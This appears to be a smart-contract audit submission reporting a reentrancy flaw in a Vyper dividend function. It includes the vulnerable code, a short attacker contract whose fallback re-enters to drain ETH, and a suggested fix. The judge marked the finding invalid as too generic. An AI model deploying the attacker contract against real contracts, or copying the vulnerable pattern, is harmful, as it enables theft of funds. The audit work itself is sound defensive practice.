Company Simulator

First Flight #51
Beginner FriendlyDeFi
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Reentrancy in Dividend Distribution Function — Unauthorized Drain of Funds

Root + Impact

Description

  • The distribute_dividends() function is intended to fairly distribute ETH profits among shareholders based on their current shareholding ratio, updating each shareholder’s balance after transfer.

  • The function performs an external call to the shareholder’s address before updating their internal balance record, allowing a malicious contract to recursively re-enter the function and drain all ETH from the system.

// Root cause in the codebase with @> marks to highlight the relevant section
@external
def distribute_dividends():
for shareholder in self.shareholders:
payout: uint256 = self.profits * self.shares[shareholder] / self.total_shares
if payout > 0:
# @> External call occurs before internal accounting update
send(shareholder, payout)
# @> State update happens after external call, enabling reentrancy
self.dividends[shareholder] += payout

Risk

Likelihood:

  • The condition arises whenever a shareholder is a contract with a fallback or receive function that calls distribute_dividends() again during execution.

Dividend distribution occurs periodically, so a malicious shareholder can exploit this on every cycle.

Impact:

  • Complete loss of ETH from the contract treasury.

Compromised trust and halted operation of the entire simulation ecosystem.

Proof of Concept

Deploy Attacker, register it as a shareholder, and trigger attack(target). The attacker repeatedly re-enters distribute_dividends() until all funds are drained.

// Attacker contract exploiting reentrancy in distribute_dividends()
interface ICompanySimulator:
def distribute_dividends(): nonpayable
@external
@payable
def attack(target: address):
ICompanySimulator(target).distribute_dividends()
@payable
@external
def __default__():
# Reenter before internal balance update
ICompanySimulator(msg.sender).distribute_dividends()

Recommended Mitigation

•Use the checks-effects-interactions pattern: update internal state before any external calls.

  • Alternatively, use a reentrancy guard with a locked boolean flag to prevent nested calls.

  • Example fix:

- remove this code
+ add this code
@external
def distribute_dividends():
for shareholder in self.shareholders:
payout: uint256 = self.profits * self.shares[shareholder] / self.total_shares
if payout > 0:
# Update first, then interact
self.dividends[shareholder] += payout
send(shareholder, payout)
Updates

Lead Judging Commences

0xshaedyw Lead Judge
about 2 months ago
0xshaedyw Lead Judge about 1 month ago
Submission Judgement Published
Invalidated
Reason: Too generic

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!